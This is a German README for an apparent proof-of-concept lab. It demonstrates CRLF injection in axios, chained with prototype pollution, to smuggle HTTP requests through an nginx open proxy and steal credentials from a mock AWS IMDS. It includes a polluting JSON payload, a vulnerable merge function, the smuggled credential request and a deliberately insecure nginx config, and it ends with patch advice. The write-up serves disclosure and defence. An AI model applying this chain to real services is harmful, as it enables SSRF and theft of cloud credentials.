
Proof-of-concept, das CRLF-Injection und HTTP-Request-Smuggling in Axios demonstriert, wobei Prototype Pollution verkettet wird, um SSRF zu erreichen und auf interne Dienste wie IMDS zuzugreifen.
CRLF-Injection-Schwachstelle im HTTP-Client Axios (>=1.0.0 <1.15.0, <0.31.0), verursacht durch fehlende Validierung von \r\n in Header-Werten durch AxiosHeaders.set().
Ein Angreifer kann diese Schwachstelle in Kombination mit separater Prototype Pollution (lodash, qs usw.) oder durch direktes Injizieren von CRLF in Header ausnutzen, um über eine Zwischenschicht wie einen nginx-Open-Proxy SSRF auf beliebige interne Server zu erreichen.
| Element | Inhalt |
|---|
| CVSS | 9.9 (Critical) |
| Betroffene Versionen | axios >=1.0.0 <1.15.0, axios <0.31.0 |
| Patch-Versionen | 1.15.0, 0.31.0 |
| CWE | CWE-93 Improper Neutralization of CRLF Sequences |
lib/core/AxiosHeaders.js AxiosHeaders.set()
└─ normalizeValue()
└─ /[\r\n]+$/ entfernt nur nachgestellte CRLF
↑ \r\n in der Mitte des Werts passiert ungeprüft
Wenn also \r\n\r\nGET /admin HTTP/1.1\r\n... in einen Header-Wert eingefügt wird, wird eine zweite HTTP-Anfrage direkt in den TCP-Stream aufgenommen.
Alle JavaScript-Objekte erben von Object.prototype. Prototype Pollution ist ein Angriff, bei dem dieses gemeinsame Prototyp-Objekt selbst verschmutzt wird, wodurch alle später erstellten Objekte beeinflusst werden.
Object.prototype.isAdmin = true;
const user = {};
user.isAdmin; // true ← nie deklariert, aber vorhanden
Dies geschieht, wenn eine anfällige rekursive Merge-Funktion (lodash < 4.17.21, qs usw.) den Schlüssel "__proto__" nicht besonders behandelt.
function vulnerableMerge(target, source) {
for (const key of Object.keys(source)) {
if (typeof source[key] === 'object') {
if (!target[key]) target[key] = {};
vulnerableMerge(target[key], source[key]);
// Wenn key = "__proto__":
// target["__proto__"] → gibt Object.prototype zurück
// → vulnerableMerge(Object.prototype, source["__proto__"])
// → injiziert Eigenschaften direkt in Object.prototype
} else {
target[key] = source[key];
}
}
}
// Angreifer-JSON: __proto__ wird als eigene Eigenschaft geparst
const payload = JSON.parse('{"__proto__":{"headers":{"X-Smuggle":"evil\\r\\n..."}}}');
vulnerableMerge({}, payload);
({}).headers; // { 'X-Smuggle': 'evil\r\n...' } ← Verschmutzung erfolgreich
Object.prototype.headers = { 'X-Smuggle': 'evil\r\n...' }
↓
App-Code: const opts = {};
opts.headers → Prototyp-Kette → gibt verschmutztes Objekt zurück
↓
axios.get(url, { headers: opts.headers, adapter: rawSocketAdapter })
↓
AxiosHeaders.set('X-Smuggle', 'evil\r\n...') ← keine CRLF-Validierung
↓
Geschmuggelte Anfrage im TCP-Stream enthalten
Wenn Object.prototype.headers verschmutzt wird, sind auch die internen Schema-Objekte von axios betroffen.
Bei Aufruf von assertOptions(config, schema)
schema['headers'] → Prototyp-Kette → gibt verschmutztes Objekt zurück
validator(value) → ruft Objekt als Funktion auf → TypeError
In einem echten Angriff muss der Verschmutzungsbereich präzise kontrolliert werden; weitreichende Verschmutzung kann die App selbst abstürzen lassen, bevor der beabsichtigte Angriff ausgeführt wird (DoS-Nebeneffekt).
[1] Direkte Header-Injektion oder Prototype Pollution (über anfällige Merge-Bibliothek)
↓
[2] axios serialisiert den CRLF-haltigen Wert ohne Validierung als Header
↓
[3] Schreibt in den TCP-Stream über raw net.Socket
(Das Standard-http-Modul von Node.js blockiert dies zur Laufzeit → benutzerdefinierter Adapter erforderlich)
↓
[4] nginx (proxy_pass http://$http_host) parst dies als zwei getrennte Anfragen
↓
[5] Die geschmuggelte Anfrage wird basierend auf ihrem Host-Header an einen anderen Upstream geroutet (SSRF)
↓
[6] Zugriff auf internen Server (z. B. IMDS) → Diebstahl von Anmeldeinformationen
| Bedingung | Inhalt |
|---|---|
| Umgehung des Node.js-http-Moduls | Verwendung eines benutzerdefinierten Adapters auf Basis von net.Socket |
| nginx-Open-Proxy | proxy_pass http://$http_host-Konfiguration |
ignore_invalid_headers on | Erlaubt ungewöhnliche Header |
resolver-Direktive | Ermöglicht dynamische Hostname-Auflösung |
┌─────────────────────────────────────────────────────────┐
│ Host-Maschine │
│ │
│ test-axios-adapter-*.js │
│ (raw net.Socket → nginx:8080) │
│ │
│ Browser → exploit.html (3003) │
│ → relay (3004) → raw socket → nginx:8080 │
└────────────────────┬────────────────────────────────────┘
│ Docker-Bridge (cve-net)
┌──────────┼──────────┬──────────────┐
▼ ▼ ▼ ▼
backend nginx imds (zukünftig)
:3001 :8080 :80
:3003 (169.254.169.254-Mock)
:3004
| Port | Dienst | Rolle |
|---|---|---|
| 3001 | backend | Empfängt HTTP-Anfragen / protokolliert Header |
| 3003 | backend | Statischer Server für exploit.html |
| 3004 | backend | Relay — wandelt Browser-POST in net.Socket um |
| 8080 | nginx | Open-Proxy (proxy_pass http://$http_host) |
| 80 (intern) | imds | AWS-IMDSv2-Mock-Server |
# Alle Container erstellen und starten
docker compose up --build
# Node.js-Tests (auf dem Host ausführen)
npm install
# 1. Direkt an Backend — CRLF-Injektion erzeugt 2 Anfragen
node poc/test-axios-adapter-backend.js
# 2. Über nginx — geschmuggelte Anfrage wird an backend:3001 geroutet
node poc/test-axios-adapter-nginx.js
# 3. Prototype Pollution → CRLF-Injection → SSRF-Kette
node poc/test-prototype-pollution.js
# 4. Browser — http://localhost:3003
# Ziel auswählen: direktes Backend / über nginx / nginx → IMDS (SSRF)
1. nginx → IMDS auswählen und Custom Adapter ausführen
2. Geschmuggelte Anfrage: GET /latest/meta-data/iam/security-credentials/my-ec2-role
Host: imds
3. nginx routet zu host=imds → Weiterleitung an IMDSv2-Mock-Server
4. imds-Container-Log: [!!!] Diebstahl von Anmeldeinformationen erfolgreich!
.
├── docker-compose.yml
├── Dockerfile.backend # Backend- + Relay-Container
├── Dockerfile.imds # IMDSv2-Mock-Container
├── package.json # [email protected] (anfällige Version fixiert)
└── poc/
├── backend-server.js # HTTP-Server (3001), Relay (3004), statischer Server (3003)
├── mock-imds.js # AWS-IMDSv2-Mock (PUT /token, GET /credentials)
├── nginx-container.conf # Open-Proxy-Konfiguration
├── exploit.html # Browser-PoC (XHR vs. Custom Adapter)
├── test-axios-adapter-backend.js # raw socket → direktes Backend
├── test-axios-adapter-nginx.js # raw socket → nginx → backend/imds
├── test-axios-no-adapter.js # Standard-axios (zur Bestätigung der Node.js-Blockierung)
└── test-prototype-pollution.js # Prototype-Pollution → CRLF-Injection-Kette
resolver 127.0.0.11 valid=30s; # Docker-internes DNS
location / {
proxy_pass http://$http_host; # dynamisches Routing basierend auf Host-Header = SSRF
proxy_http_version 1.1;
proxy_set_header Connection "";
proxy_set_header Host $http_host;
}
location /public {
proxy_pass http://backend:3001; # fester Upstream für normale Anfragen
}
Da $http_host (einschließlich Port) als Upstream verwendet wird, wird der Host-Header der geschmuggelten Anfrage direkt zum Routing-Ziel.
npm install axios@^1.15.0
Der Patch (1.15.0) führt assertValidHeaderValue() ein, das Werte mit CR/LF sofort ablehnt.
Zusätzliche Verteidigung:
proxy_pass http://$http_host in nginx verbieten → feste Upstreams verwendenHttpTokens: required)